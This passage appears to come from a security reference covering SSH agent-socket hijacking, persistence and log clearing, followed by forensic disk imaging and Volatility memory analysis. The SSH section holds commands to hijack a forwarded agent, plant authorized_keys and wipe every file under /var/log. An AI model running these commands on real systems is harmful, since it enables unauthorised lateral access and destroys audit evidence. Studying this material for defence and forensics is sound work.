When `Agent Forwarding` is enabled client-side, either using the `AgentForward` flag or calling `ssh` with the `-A` option, an SSH agent will be kept on the remote system accessed in SSH. This allows for a second connection, using SSH, from this first remote system to a second, or multiple, remote systems with out the need to deploy the private keys on the first remote system.\
The UNIX socket at `/tmp/ssh-<RANDOM>/agent.<AGENT_PID>` will thus be available on the first remote system.

Given sufficient permissions on the compromised system, such as `root` privileges, the socket agent can be hijacked in order to make SSH connection under the identity of the user running `ssh-agent` with out the need to have access to its private key (or know its private key password).

**Connected SSH connections**

While there is not direct and explicit way of showing all connected SSH connections, multiples commands can be used to enumerate active and past SSH connections using current process, `TTY` sessions or active network connections.

Note that `w` / `who` and `lastlog` will show all the `TTY` sessions including the terminal and SSH sessions. As the terminal and SSH connections both create a pseudo-terminal device `pts`, the utility can't be used to distinguish them.

The `pspy` tool can be used to monitor short lived SSH connections that could be made using automated utilities to remotely execute commands.

```
# Processes
# sshd: <USERNAME>@pts/1
pgrep -ai sshd
ps auxwww | grep sshd:

# Network connections
# Retrieve sshd port and then established network connection from the port, as shown in the example below
# 0.0.0.0:22              0.0.0.0:*               LISTEN      10/sshd
# x.x.x.x:22              x.x.x.x:40302           ESTABLISHED
netstat -anop

# Active connections
w 2>/dev/null
who -a

# Last connections
lastlog 2>/dev/null |grep -v "Never"

# sshd logs
cat /var/log/sshd.log | grep session
cat /var/log/sshd.log | grep session | grep <USERNAME>

# Short lived SSH connections
pspy
pspy64
```

If present, the control sockets should be accessible in the folder specified by the `ControlPath` directive in the global or local `ssh_config`.

**Hijack an SSH connection**

The following commands can be used to hijack an SSH agent deployed on the compromised server using `Agent forwarding`.

In order the find the username, PID and remote host of the SSH agent on the compromised system, the commands above can be used.

```
# pgrep / ps to find the PID of running sshd process
# netstat to identify the connection origin
# grep SSH_AUTH_SOCK /proc/<PID>/environ to retrieve the corresponding agent socket

export SSH_AUTH_SOCK="/tmp/<ssh-RANDOM>/<agent.PID>"
ssh -p <PORT> <USERNAME>@<HOSTNAME | IP>
```

### Manage

#### SSH server deployment / configuration

**SSH server installation / start**

The following commands can be used to check whether an `SSH` server is already running on the system:

```
# Ubuntu / Debian / RedHat / CentOS / Fedora

# Retrieves the status of the ssh service on the system if the service is installed.
sudo systemctl status ssh

# Lists the processes running on the system and searches for processes related to SSH.
ps aux | grep -i ssh

# Lists the listening services.
netstat -laputen
```

If no `SSH` service is currently running, an `SSH` server (such as `openssh-server`) may still be installed on the targeted system:

```
# Ubuntu / Debian
dpkg -l | grep -i ssh

# RedHat / CentOS / Fedora
rpm -qa | grep -i ssh
```

If a `SSH` service is installed, it can be started using `systemctl`:

```
# Ubuntu / Debian / RedHat / CentOS

systemctl start ssh

systemctl restart ssh

systemctl stop ssh
```

**SSH server configuration to allow authentication**

In order to allow login, the configuration file of the `SSH` daemon (`SSHD`), usually located in `/etc/ssh/sshd_config`, may need to be modified to allow login of `root` or others users:

```
# SSHD config file.

# Allow login of the root account.
# If "AllowUsers" is defined further in the configuration file, it must specify "root" otherwise the root account will not be able to login (despite setting PermitRootLogin to yes).
# without-password: require login using an SSH key for the root account.
PermitRootLogin <yes | without-password>

# AllowUsers
# If specified with arguments, login are restricted to the define users.
# By default, AllowUsers is not specified and login is allowed for all users.
AllowUsers <root | <USERNAME>>
```

**SSH Key Pair generation and deployment**

On Linux operating systems, the `ssh-keygen` utility can be used to generate a key pair for `SSH` access:

```
# Generates a public (OUTPUT_FILE_PREFIX.pub) / private (OUTPUT_FILE_PREFIX) RSA key pair.
ssh-keygen -t rsa -b 4096 -f <OUTPUT_FILE_PREFIX>

# If necessary, set the required permissions on the key pair files. The following permissions should normally be set by default upon generation using ssh-keygen.
chmod 644 <PUBLIC_KEY_FILE>
chmod 600 <PRIVATE_KEY_FILE>
```

After generation, the public key should be added in the `authorized_keys` file of the associated user (for example, the `/root/.ssh/authorized_keys` file for the root user).

The `ssh-copy-id` utility can be used to automate the process, if authentication information of the targeted user are already known.

```
# Manual approach.
echo "<PUBLIC_KEY>" >> /root/.ssh/authorized_keys
echo "<PUBLIC_KEY>" >> <USER_DIRECTORY>/.ssh/authorized_keys

# Automated approach using ssh-copy-id
ssh-copy-id -i <PUBLIC_KEY_FILE> <USER>@<HOSTNAME | IP>
```

### Persistence

**Add local user with SUDOERS privileges**

```
adduser <USERNAME>

# RedHat / CentOS / Fedora
passwd <USERNAME>
```

### Defence evasion by logs clearing

It is advised to never directly delete the logs files, as it may cause operational issues with the demons using the log files. It is instead recommended to empty the files while preserving the files themselves.

This can be achieved with the following commands:

```
# Empty the specified log file.
cat /dev/null > <LOG_FILE_PATH>

# Recursively empty all the files in the /var/log directory.
for i in $(find /var/log -type f); do cat /dev/null > $i; done
```

***

### References

<https://en.wikibooks.org/wiki/OpenSSH/Cookbook/Multiplexing> <https://xorl.wordpress.com/2018/02/04/ssh-hijacking-for-lateral-movement/>


# Common


# Image acquisition and mounting

### Image acquisition

The drive to be imaged should be extracted from the system and plugged on an acquisition station through a (ideally) hardware write blocker. Dedicated hardware, such as the `TX1 Tableau Forensic Imager`, can also be used to directly make a drive to drive or drive to file (such as a `raw` file) copy.

If the disk to image cannot be extracted from the system, a bootable USB drive can be used to boot into a temporary OS (if the BIOS boot order of the target system can be changed). A Linux distribution suitable for forensic imaging should be used, such as the [`CAINE`](https://www.caine-live.net/) distribution (based on `Ubuntu`) or [`Kali Linux in Forensics Mode`](https://www.kali.org/docs/general-use/kali-linux-forensics-mode/). In such distributions all devices are blocked in read-only and auto-mounting is disabled, and a number of forensics tools are installed for acquisition.

**From Windows**

Windows should only be used as a acquisition platform if the drive to image can be connected through an hardware write-blocker, as Windows will automatically attempt to mount any recognized partitions, potentially altering the data.

The `FTK Imager` utility can be used to create a forensic image of a physical drive or logical drive / partition. `FTK Imager` can create images in raw, EnCase (`E01`), or `Advanced Forensics Format (AFF)` formats.

The procedure is as follows:

```
-> File -> Create Disk Image...
   -> Physical Drive -> Selection of the source drive / device
   -> Add image destination -> Selection of the image type (raw, E01, etc.)
   -> Evidence collection metadata
   -> Selection of the image destination folder and name
```

**From Linux**

*Devices overview*

Linux storage devices, such as hard disks or SSDs, are typically block devices represented as files under `/dev`. Block devices can be divided into one or more logical disks called partitions. This partitioning is recorded in the partition table, such as `MBR` or `GPT`, usually found in sector 0 of the disk.

| Type                              | block device                                                                                                                               | Eventual partition(s)                                                                                                                                                   |
| --------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| SATA drives                       | <p>Each drive is represented as <code>/dev/sdx</code>.<br><br>Example of two drives:<br><code>/dev/sda</code><br><code>/dev/sdc</code></p> | <p>Each partition is represented as <code>/dev/sdxN</code>.<br><br>Example of two partitions on the same drive:<br><code>/dev/sda1</code><br><code>/dev/sda2</code></p> |
| NVMe drives                       | <p>Each drive is represented as <code>/dev/nvmeXn1</code>.<br><br>Examples:<br><code>/dev/nvme0n1</code><br><code>/dev/nvme1n1</code></p>  | <p>Each drive is partition as <code>/dev/nvmeXpX</code>.<br><br>Examples:<br><code>/dev/nvme0n1p1</code><br><code>/dev/nvme0n1p2</code></p>                             |
| Optical medias (CD or DVD drives) | <p><code>/dev/srx</code><br><br>Example of two CD / DVD drives:<br><code>/dev/sr0</code><br><code>/dev/sr1</code></p>                      | NA                                                                                                                                                                      |

The `lsblk` utility can be used to list the block devices present on a system and the `fdisk` or `gdisk` (for handling of `GPT`) utilities to retrieve more information on a specific device and its partitions.

```bash
# Lists the block devices present on the system.
lsblk

# Retrieves information on the specific block device and its eventual partitions.
# <DEVICE> example: /dev/sda
fdisk -l <DEVICE>
gdisk -l <DEVICE>
```

*Imaging using dd*

`dd` is the standard copy utility that, while not forensic oriented, can be used to create image of a device / partition. `dd` presents the advantage of being available in most Linux distributions. A more forensics sound utility, such as `dc3dd` (presented below), should generally be used if possible.

```bash
# <DEVICE> example: /dev/sda
# <PARTITION> example: /dev/sda1

sha256sum <DEVICE | PARTITION> > /dest_media/SHA256_original

# The device / partition block size can be retrieved using the fdisk utility.
# The "conv=noerror,sync" option instructs dd to continue the copy if a bad sector is encountered (otherwise dd terminates).
dd if=<DEVICE | PARTITION> of=/dest_media/image.raw bs=<2k | 4k | BLOCK_SIZE> status=progress [conv=noerror,sync]

sha256sum /dest_media/image.raw  > /dest_media/SHA256_image
```

*Imaging using dc3dd*

`dc3dd` is a more forensic oriented utility, based on `dd`, to make disk or partition image. `dc3dd` automatically detects bad sectors, natively integrates hashing of the input and output bytes, and integrates logging functionalities, making it more suitable for forensic imaging.

```bash
# log option: output log files.
# hlog option: output file that will contains the image hash(es).

dc3dd if=<DEVICE | PARTITION> hof=/dest_media/image.raw log=<LOG_FILE> hash=sha256 hlog=<HASH_FILE>
```

*Imaging using Guymager*

[`Guymager`](https://guymager.sourceforge.io/) is a GUI forensic imager, that can produce image files in raw, EWF, and AFF formats. `Guymager` is multi-threaded for faster collection and integrates hashing calculation.

```
Right click device -> Acquire image
  -> Format selection (raw, EWF, AFF)
  -> Evidence collection metadata
  -> Selection of the image destination folder and name
  -> Calculate SHA-256
```

### Image mounting

Following the imaging of a system disk, the image taken must be mounted as a partition for analysis. Numerous tools can be used, from either the Windows or Linux operating systems, to do so. An important aspect of image mounting is the preservation of the artefacts integrity. The image should be mounted in read-only (or temporary write), with a few specificities to preserve timestamps and data integrity.

Some utilities, such as `Autoruns`, require writable partitions. To use such utilities, the image should be mounted using an utility supporting temporary writes.

**From Windows**

The [`Arsenal Image Mounter`](https://arsenalrecon.com/downloads/) is a powerful graphical utility that can be used to mount multiple image types. It supports temporary write using a diff file that will store the modifications. `Arsenal Image Mounter` will automatically mount the different partitions of a given image and implements decryption of `BitLocker` protected partition.

`Arsenal Image Mounter` supports the following disk image format:

* `raw` / `DD`
* Multi-parts `raw`
* `EnCase Evidence File (E01)`
* `Advanced Forensics Format (AFF)`
* `VDI` / `VMDK` / `VHD`

Other utilities such as `FTK Imager` or `OSF Mount` may be used as well.

**From Linux**

*Virtual Machine disks*

The `guestmount` utility can be used to mount a virtual machine disk (`vmdk`, `vhdx`, `qcow` / `qcow2`, `vdi`, etc.) directly:

```bash
# Attempts to automatically find the device(s) to mount.
guestmount --ro -i -a <VM_DISK_FILE> </mnt/mounted | MOUNT_POINT>

# Requires knowledge of the device to mount.
guestmount -a <VM_DISK_FILE> -m </dev/sda1 | DEVICE> --ro </mnt/mounted_vmdk | MOUNT_POINT>

# Unmounts the mounted device.
guestunmount <MOUNT_POINT>
```

Alternatively, the `qemu-img` utility can be used to convert a virtual machine disk to a `raw` image:

```
qemu-img convert -O raw <VM_DISK_FILE> <OUTPUT_IMAGE>
```

*Expert Witness/EnCase (EWF) image*

The following procedure can be following to mount disk images in the `Expert Witness/EnCase (EWF)` format:

```bash
# Mount the raw EWF image. Following the ewfmount, an "ewf1" file should be present in the <RAW_EWF_DIR_PATH> directory.
# The ewfmount utility is part of the "ewf-tools" package on Debian / Kali Linux.
mkdir <RAW_EWF_DIR>
ewfmount <EWF_FILE_PATH> <RAW_EWF_DIR_PATH>

# Mount the image as a loop device.
# show_sys_files and streams_interace=windows are options for Windows NTFS partitions.
mkdir <MOUNTPOINT>
mount <RAW_EWF_DIR_PATH>/ewf1 <MOUNTPOINT_PATH> -o ro,loop,noatime,noexec,noload,norecovery[,show_sys_files,streams_interace=windows]
```

*Logical Volume Manager image*

`Logical Volume Manager (LVM)` is a device mapper framework that provides logical volume management (for the Linux kernel) to provide a system of partitions independent of underlying disk layout.

The `LVM` feature is composed of the following building blocks:

* `Physical volume (PV)`: Unix block device node, such as a hard disk, an `MBR` or `GPT` partition, usable for (physical) storage.
* `Volume group (VG)`: group of `physical volume(s)` that serves as a container for `logical volume(s)`.
* `Logical volume (LV)`: virtual/logical partition that resides in a `volume group` and is composed of `physical extents`. `LV` can be directly formatted with a file system.
* `Physical extent (PE)`: smallest contiguous extent in a `physical volume` that can be assigned to a `logical volume`.

Examples:

* Physical disks: `/dev/sda1` and `/dev/sdb1`.
* Volume Group: `/dev/MyVolGroup/` = `/dev/sda1` + `/dev/sdb1`
* Logical volumes: `/dev/MyVolGroup/rootvol`, `/dev/MyVolGroup/homevol`, `/dev/MyVolGroup/mediavol`

The following commands can be used to mount a `LVM` disk image:

```bash
# Mappings for the LVM's volumes.
kpartx -av <IMAGE_PATH>

# Checks the LVM's PV(s) available.
pvs

# Checks the LVM's VG(s) and LV(s) available.
lvdisplay

# If the LV does not appear, the associated VG may need to be activated.
vgchange -ay <VG_NAME>

# Mounts the specified LV.
# LV path example: /dev/<VG_NAME>/<root | LV_NAME>
mount -o ro,noatime,noexec,noload,norecovery <LV_PATH> <MOUNT_POINT>
```

*Generic / other image types*

The image partitions can be first determined using the `TSK`'s `mmls` or `fdisk` utilities. The utilities will retrieve the image sector size and the partition(s) offsets, both required to mount the partition.

```bash
mmls [ -o offset ] <IMAGE_FILE>
fdisk -l <IMAGE_FILE>

# Units are in <SECTOR_SIZE>-byte sectors
# Slot      Start             End   Length  Description
# [...]
# 02: 00:00 <PARTITION_START> XXX   YYY     NTFS
```

```bash
# mount options:
# ro : read-only.
# noatime : preserve the atime (last access time) timestamps.
# noexec : files from the mounted partition cannot be executed.
# norecovery/noload : prevent replaying of the partition journal to preserve integrity.
# loop : explicitly tells mount to use a loop device (optional on newer version of mount).
# show_sys_files and streams_interace=windows are options for Windows NTFS partitions.

# OFFSET = SECTOR_SIZE * PARTITION_START.

sudo mount -o ro,loop,noload,noatime,noexec,[show_sys_files,streams_interace=windows,]offset=<OFFSET | $((<SECTOR_SIZE> * <PARTITION_START>))> <IMAGE_FILE> </mnt/ | MOUNT_POINT>
```

***

### References

<https://www.linuxleo.com/Docs/LinuxLeo\\_4.95.1.pdf>

<https://tmairi.github.io/posts/forensic-aquisition-with-dd-tools/>

<https://www.youtube.com/watch?v=FoEO9p-J15w>


# Memory forensics

### Memory collection

**RAM acquisition on Windows systems**

*WinPmem*

[`WinPmem`](https://github.com/Velocidex/WinPmem) is a (maintained) utility that can be used to conduct a local capture of memory.

As stated in the documentation, `WinPmem` implements three acquisition methods:

* PTE remapping mode, the default method and the most stable one.
* MMMapIoSpace mode, which leverage the `MMMapIoSpace` kernel API.
* PhysicalMemory mode, which passes a handle to the tradition `\\.\PhysicalMemory` device.

`WinPmem` used to output capture in the `Advanced Forensics File Format 4 (AFF4)` format (which include metadata about the capture, compression of the output, etc.) but the updated version produces images in the `RAW` format.

[`WinPmem` older versions](https://github.com/Velocidex/c-aff4).

```bash
winpmem.exe <OUTPUT_RAW_DUMP>
winpmem.exe \\<IP | HOSTNAME>\<SHARE>\<OUTPUT_RAW_DUMP>

# --- Older versions
# -p <PAGEFILE_PATH>: instructs WinPmem to also collect the page file.

# Retrieves the page file path.
wmic pagefile list

winpmem.exe -p <PAGEFILE_PATH> -o <OUTPUT_DUMP_AFF4>
```

*DumpIt*

`DumpIt` is a reliable utility that can be used to conduct a local capture of memory on Windows systems.

Depending on the version used, different options are implemented. In a basic and standard use case, `DumpIt` can be simply executed with out being provided any argument to create a memory dump in the local folder.

```bash
DumpIt.exe
```

**RAM acquisition on Linux systems**

*Volatility profiles*

Contrary to Windows systems, `Volatility` integrates a limited number of profiles for Linux systems. It is thus often necessary to generate the profile of the system to analyze directly on the system itself or on a system which matches the target system (identical Linux distribution, kernel version, and CPU architecture).

A number of tools must be installed on the target system (or system emulating the target system) in order to generate the Volatility profile:

* `dwarfdump`
* `GCC` and `make`
* `kernel-devel` or `linux-headers-generic` package

Refer to the [official Volatility documentation ](https://github.com/volatilityfoundation/volatility/wiki/Linux#Linux-Profiles)for more information on how to install the necessary tools and the build steps to generate a Volatility profile for Linux systems.

```bash
# Installs the prerequisite tools on Debian / Ubuntu systems.
apt-get install dwarfdump
apt-get install build-essential
# If "uname -a" returns something different than "generic" after the version number it may be necessary to install the specific kernel headers.
apt-get install linux-headers-generic / apt-get install linux-headers-<SPECIFIC>

# Generates the Volatility profile (which is a ZIP file).
# The generated ZIP file must be transferred to the system with Volatility installed (in the <VOLATILITY_INSTALL>/volatility/plugins/overlays/linux/ folder or the plugin folder specified as parameter to volatility using --plugins=).
git clone https://github.com/volatilityfoundation/volatility.git
cd volatility/tools/linux && make
zip $(uname)_$(uname -r)_$(uname -m)_profile.zip module.dwarf /boot/System.map-$(uname -r)
```

*Acquire Volatile Memory for Linux (AVML)*

[`AVML`](https://github.com/microsoft/avml) is a memory acquisition utility written in Rust and open-sourced by Microsoft.

The memory dumps can be generated in the `LiME` output format or in a compressed format that can be uncompressed using `avml-convert`. The compression significantly reduces the size of the memory dump.

`AVML` supports upload to `Azure Blob Store` or through `HTTP` `PUT` requests.

```bash
# Generates a memory dump in the LIME format.
avml <OUTPUT_DUMP_LIME>

# Generates a compressed memory dump that can then be uncompressed using avml-convert.
avml --compress <OUTPUT_DUMP_COMPRESSED>
avml-convert --format lime_compressed <OUTPUT_DUMP_COMPRESSED> <OUTPUT_DUMP_LIME>

# Uploads to the specified URL using a HTTP PUT request and delete the file upon successful upload.
avml --put <URL> --delete <OUTPUT_DUMP_LIME>
```

*Linux Memory Extractor (LiME)*

[`LiME`](https://github.com/504ensicsLabs/LiME) is another memory acquisition utility that can be used to capture memory of Linux systems.

`LiME` is implemented as a `Loadable Kernel Module (LKM)` that can be loaded and executed using the `insmod` command.

```bash
sudo insmod lime.ko path=<OUTPUT_DUMP_LIME> format=<raw | lime>
```

**RAM acquisition of Virtual machines**

Memory of virtual machines should be acquired directly through the hypervisor, to preserve the data, using snapshots.

Detailed procedures for `VMWare ESXi`, `Microsoft HyperV`, `Proxmox VE`, and `KVM` are available on [Kaspersky forum post "How to get a memory dump of a virtual machine from its hypervisor"](https://forum.kaspersky.com/topic/how-to-get-a-memory-dump-of-a-virtual-machine-from-its-hypervisor-36407/).

*VMWare ESXi*

Memory of virtual machine should be captured through a snapshot and not by suspending the virtual machine (as suspending the machine does not preserve the network connections state). Snapshotting a VM will produce a `vmem` file and a `vmsn` file, which are both needed to conduct memory analysis. The `vmem` file contains the memory while the `vmsn` file contains information about the VM and the particular snapshot.

Snapshot procedure:

1. Select the (running) virtual machine.
2. Actions -> Snapshots -> Take snapshot.
3. Specify the snapshot name and keep "Snapshot the virtual machine's memory" checked.

Then the `vmem` (`<VM_NAME>-Snapshot<NUMBER>.vmem`) and `vmsn` (`<VM_NAME>-Snapshot<NUMBER>.vmsn`) files can be downloaded from the datastore:

* Storage -> datastore -> Datastore browser -> `<DATASTORE>` -> `<VM>` folder -> Download the `vmem` and `vmsn` files.

*Microsoft Hyper-V*

The [Sysinternals `LiveKd`](https://learn.microsoft.com/en-us/sysinternals/downloads/livekd) utility should be used to dump the memory of an HyperV virtual machine, as Hyper-V native checkpoints are not supported by all memory analysis tools (but are by `MemProcFS`).

`LiveKD` requires the [`Debugging Tools for Windows`](https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools) to be installed on the local system. The installer can be retrieved at: <https://go.microsoft.com/fwlink/?linkid=2237387> and the `Debugging Tools` installed with:

```bash
winsdksetup.exe /features OptionId.WindowsDesktopDebuggers /q /norestart
```

The Microsoft's symbol server should also be configured on the host:

```bash
# Requires a new session opening to be effective.
set _NT_SYMBOL_PATH "srv*c:\symbols*http://msdl.microsoft.com/download/symbols"
```

Before execution, the `LiveKD` should be copied to the `Debugging Tools` folder (by default `C:\Program Files (x86)\Windows Kits\10\Debuggers\x64`).

```bash
# Lists the VM running on the system.
livekd.exe -hvl

# Dump the specified VM memory to file.
livekd.exe -hv "<VM_NAME>" -p -o "<DUMP_FILE_PATH>"
```

### \[Windows] Memory files

**pagefile.sys and swapfile.sys**

The `pagefile.sys` and `swapfile.sys` are files used by the Windows operating system for memory paging, i.e to store and retrieve memory pages from the main memory (RAM) to disk. It allows the system to extend the amount of total memory used. Less frequently used memory pages are swapped to disk and loaded back in the main memory on page fault events.

`pagefile.sys` (`<SYSTEM_DRIVE>\pagefile.sys`) is the system-wide page file that stores memory pages from the whole main memory. `swapfile.sys` (`<SYSTEM_DRIVE>\swapfile.sys`) is used to suspend and restart `Universal Windows Plateform (UWP)` applications (usually from the `Windows Store`) and thus only stores memory pages from those applications.

As `pagefile.sys` and `swapfile.sys` only store unstructured / unordered memory pages, the files can not be analyzed using memory tools such as `Volatility` or `MemProcFS`. The analysis of the `pagefile.sys` and `swapfile.sys` files is thus limited to carving and strings extraction. As memory pages are typically 4KB in size, only files of less than 4KB can be fully carved out. Note that scanning the `pagefile.sys` and `swapfile.sys` files for known malware indicators, with `yara` rules for example, may result in false-positives as such indicators may be incorporated in pages swapped from security products.

Note that Tools such as `strings` / [`bstrings`](https://f001.backblazeb2.com/file/EricZimmermanTools/net6/bstrings.zip) or [`bulk_extractor`](https://github.com/simsong/bulk_extractor) can be used to extract strings such as URL, IP addresses, email addresses, or files (for `bulk_extractor`).

```bash
bulk_extractor -o <OUTPUT_DIRECTORY> <FILE_TO_CARVE>
```

**hiberfil.sys**

The `hiberfil.sys` file is linked to the hibernation, hybrid sleep, and `Fast Boot` (Windows 8) / `Fast Startup` (Windows 10) features. Those features are mostly in use on Windows laptops / desktops and are generally not available by default on Windows virtual machines (and require the hibernation feature to be implemented at the hypervisor level).

As the `hiberfil.sys` file is shared by three different (but similar) features, the file can be in different states:

* `Hybernation`: full main memory snapshot, user triggered hibernation.
* `Hybrid sleep`: full main memory snapshot, combination of the sleep and hibernation states. The main memory is written to the `hiberfil.sys` file, then the system enters a sleep mode. If power is lost during sleep, the system uses the `hiberfil.sys` file to boot and restore the system state.

  Available since Windows Vista, [`hybrid sleep` is on by default for desktop systems but off by default on laptops](https://devblogs.microsoft.com/oldnewthing/20110510-00/?p=10703) and requires the support of hibernation (and is thus not generally available on virtual machines).
* `Fast Boot` / `Fast Startup`: partial memory snapshot, that contains the memory of the kernel and `session 0` processes (background system services notably). `Fast startup` is a type of shutdown that uses a hibernation file to speed up the subsequent boot, with user(s) being logged off before the hibernation file is created. In this state, the `hiberfil.sys` file will notably contain `MFT` file and INDX records, and registry hives ([`SYSTEM` only after `Windows 10 Build 17134`](https://arsenalrecon.com/products/hibernation-recon/faqs)).

  `Fast Boot` / `Fast Startup` is enabled by default, but requires support of hibernation (and is thus not generally available on virtual machines).

Note that the `hiberfil.sys` file is zeroed out after a system boot starting from Windows 8 / 8.1, and may also be zeroed out on system shutdown if the `ClearPageFileAtShutdown` registry setting is enabled (set to `0x1`). As such, the `hiberfil.sys` file must be retrieved from a powered off system.

The structures of the `hiberfil.sys` file has evolved starting with Windows 8, with notable changes in the compression methods used. There is thus currently two possible formats:

* The "old" format, starting from Windows XP to Windows 7.
* The "new" format, starting from Windows 8 to Windows 11.

Both formats can be processed with [Hibernation recon](https://arsenalrecon.com/downloads) and ([more recently](https://www.forensicxlab.com/posts/hibernation/)) `volatility2` / `volatility3` to convert the hibernation file to a raw file. Once converted, the resulting image can be analyzed as a standard memory image (with potentially less information however) using tools such as `volatility` and `MemProcFS`.

```bash
# volatility2 for hibernation files in the old format.

# Prints basic information about the hibernation file.
volatility -f <HIBERNATION_FILE> --profile=<PROFIL> hibinfo

# Converts the hibernation file to a raw file.
volatility -f <HIBERNATION_FILE> --profile=<PROFIL> imagecopy -O <OUTPUT>

# volatility3 for hibernation files in the new format.

# Prints basic information about the hibernation file.
volatility3 -f <HIBERNATION_FILE> windows.hibernation.Info

# Converts the hibernation file to a raw file.
# The version to specify depends on the Windows version targeted (Windows 8/8.1 to Windows 11 23H2).
# Possible values can be checked using windows.hibernation.Dump -h.
volatility3 -f <HIBERNATION_FILE> windows.hibernation.Dump --version <VERSION>
```

**General analysis steps**

The memory analysis of a compromised system is dependent of the investigations context. For example, if a workstation is suspected to have been compromised from a phishing attack, extracting the `.pst` / `.ost` files, associated with `Outlook`, using the `filescan` and `dumpfiles` modules, for analysis may be a good first step.

The general, context-independent, steps below can be followed for investigating the memory of a system:

* Suspicious process hierarchy, such as `outlook.exe` or `iexplorer.exe` executing `cmd.exe` or `powershell.exe` process.
* Identification of rogue / unlinked processes and process injection using `malfind`
* Review of network connections and artifacts, looking notably for suspicious pattern for example:
  * network traffic for process that do not normally interact over the network.
  * non-web ports connections established by web browsers.
  * connections to known malicious IP addresses.
* Scan of memory for known pattern / strings using `Yara` rules.
* ...

### Volatility (2 and 3)

`Volatility` is a complete volatile memory analysis framework, composed of a number of different modules. `Volatility` is implemented in Python and is completely open source.

`Volatility 3` is a major rework of `Volatility 2` with a few notable changes : removal of profiles, read once of the memory image for performance improvement, etc.

`Volatility` supports the following memory dump file format:

* Raw/Padded Physical Memory
* 32-bit and 64-bit Windows Crash Dump
* 32-bit and 64-bit Windows Hibernation
* 32-bit and 64-bit MachO files
* Virtualbox Core Dumps
* VMware Saved State (`.vmss`) and Snapshot (`.vmsn`)
* Firewire (IEEE 1394)
* Expert Witness (EWF)
* HPAK Format (FastDump)
* LiME (Linux Memory Extractor)
* QEMU VM memory dumps

And the analyze of the memory from the following systems:

* 32- and 64-bit Windows 10 and Server 2016
* 64-bit Windows Server 2012 and 2012 R2
* 32- and 64-bit Windows 8, 8.1, and 8.1 Update 1
* 32- and 64-bit Windows 7 (all service packs)
* 32- and 64-bit Windows Server 2008 (all service packs)
* 64-bit Windows Server 2008 R2 (all service packs)
* 32- and 64-bit Windows Vista (all service packs)
* 32- and 64-bit Windows Server 2003 (all service packs)
* 32- and 64-bit Windows XP (SP2 and SP3)
* 32- and 64-bit Linux kernels from 2.6.11 to 4.2.3+

Microsoft releases new Windows 10 versions significantly more frequently than what was the norm in the past years (with nowadays to versions being released each year). Due to this rapid release cycle, supporting the latest Windows versions has become a challenge for memory forensics tools (as it requires debugging / reverse engineering of each new version to keep structure definitions and symbols up to date). This is partially why the `Rekall` memory forensics tool (based on a fork of `Volatility` with consequential subsequent rewrites of the code base) was discontinued and is no longer maintained. `Volatility 3` addresses this challenge by implementing an extensive library of symbol tables and attempting to generate new tables for Windows memory images from the memory image itself.

For a more detailed modules documentation, the following official documentation can be consulted:

```
https://github.com/volatilityfoundation/volatility/wiki/Command-Reference
```

**Basic usage**

`Volatility` works using modules / plugins, executed individually.

*Volatility2*

```bash
# Volatility2.

volatility -f <MEMORY_DUMP_FILE> --profile <MEMORY_DUMP_PROFILE> <PLUGIN>

# If a custom profile is needed, for example for Linux memory image analysis (collected as a ZIP file).
volatility -f <MEMORY_DUMP_FILE> --plugins=<FOLDER_WITH_PROFILE.ZIP> --profile=<MEMORY_DUMP_PROFILE> <PLUGIN>

# The Linux environments variables VOLATILITY_LOCATION and VOLATILITY_PROFILE may be used in place of command line options to specify the memory dump file path and the volatility profile to use
export VOLATILITY_LOCATION=file://<MEMORY_DUMP_FILE_PATH>
export VOLATILITY_PROFILE=<PROFILE>
volatility <PLUGIN>
```

*Volatility3*

The profile is no longer needed for `volatility3`, as offsets are retrieved using Windows public symbols (from Microsoft server, with the correct PDB determined directly from the memory image).

For `volatility3`, in order to speed up subsequent executions, metadata information about the memory dump (such as the kernel offset) can be stored and used using the `--save-config <CONFIG_FILE>` and `-c <CONFIG_FILE>` options respectively.

The `-r pretty` can be used to improve the output formatting.

```
volatility [--save-config <CONFIG_FILE> | -c <CONFIG_FILE>] -r pretty -f <MEMORY_DUMP_FILE> <PLUGIN>
```

#### \[Volatility] Windows memory dump analysis

**Windows plugins overview**

`Volatility` implements two main types of plugins, each using a distinct approach:

* the "`list`" plugins, that will navigate through Kernel data structures to extract information from memory. The plugins implemented using this approach will work similarly to the native operating system `APIs` (and will thus be vulnerable to the same potential anti-forensics techniques).
* the "`scan`" plugins, that will carve memory for known specific data structures. Carving is a general term for extracting structured data (in case of memory, `EPROCESS` objects for example) out of raw data. While a bit slower and more prone to false positives, this approach can retrieve information for objects no longer referenced by the operating system (such as a process that have exited) or hidden using anti-forensics techniques.

List of `Volatility 2` plugins (either included in the base code or from the community) that can be useful for general memory forensics. Some plugins below are ported, under a different naming nomenclature, to `Volatility 3`.

Note that all the plugins below may not be compatible with every operating systems memory image.

| Plugin Vol. 2                                              | Plugin Vol. 3                        | Description                                                                                                                                                                                                                                                                                      |
| ---------------------------------------------------------- | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `amcache`                                                  |                                      | Extracts information from the `AmCache` registry hive.                                                                                                                                                                                                                                           |
| `apihooks`                                                 |                                      | Attempts to detect hooked functions and displays information about the hooks found (impacted process, hook type, function hooked, dissambly code of the hook, etc.).                                                                                                                             |
| `autoruns`                                                 |                                      | (Custom) Lists processes executed from an `Auto-Start Extensibility Points (ASEP)`.                                                                                                                                                                                                              |
| `cachedump`                                                |                                      | Dumps the `MsCacheV1` / `MsCacheV2` hashes of locally cached Active Directory domain accounts.                                                                                                                                                                                                   |
| `clipboard`                                                |                                      | Extracts the content of the Windows clipboard.                                                                                                                                                                                                                                                   |
| `cmdscan`                                                  |                                      | Scans the memory image for `COMMAND_HISTORY` structures which contain the (limited) history of commands entered in a `console shell` (`cmd.exe`).                                                                                                                                                |
| <p><code>connscan</code><br><br><code>netscan</code></p>   | `windows.netscan.NetScan`            | Scans the memory image for respectively connections that have since been terminated and network artifacts (TCP / UDP connections and listeners).                                                                                                                                                 |
| `consoles`                                                 |                                      | Scans the memory image for `CONSOLE_INFORMATION` structures which contain the (limited) history of commands typed as well as the screen buffer (commands input and output).                                                                                                                      |
| `dlldump`                                                  |                                      | Extracts the DLL(s) loaded by each or the specified process.                                                                                                                                                                                                                                     |
| `dlllist`                                                  |                                      | Lists the `DLL` loaded by each or the specified process.                                                                                                                                                                                                                                         |
| `impscan`                                                  |                                      | Scan the calls to imported functions for a process or in a specific memory page.                                                                                                                                                                                                                 |
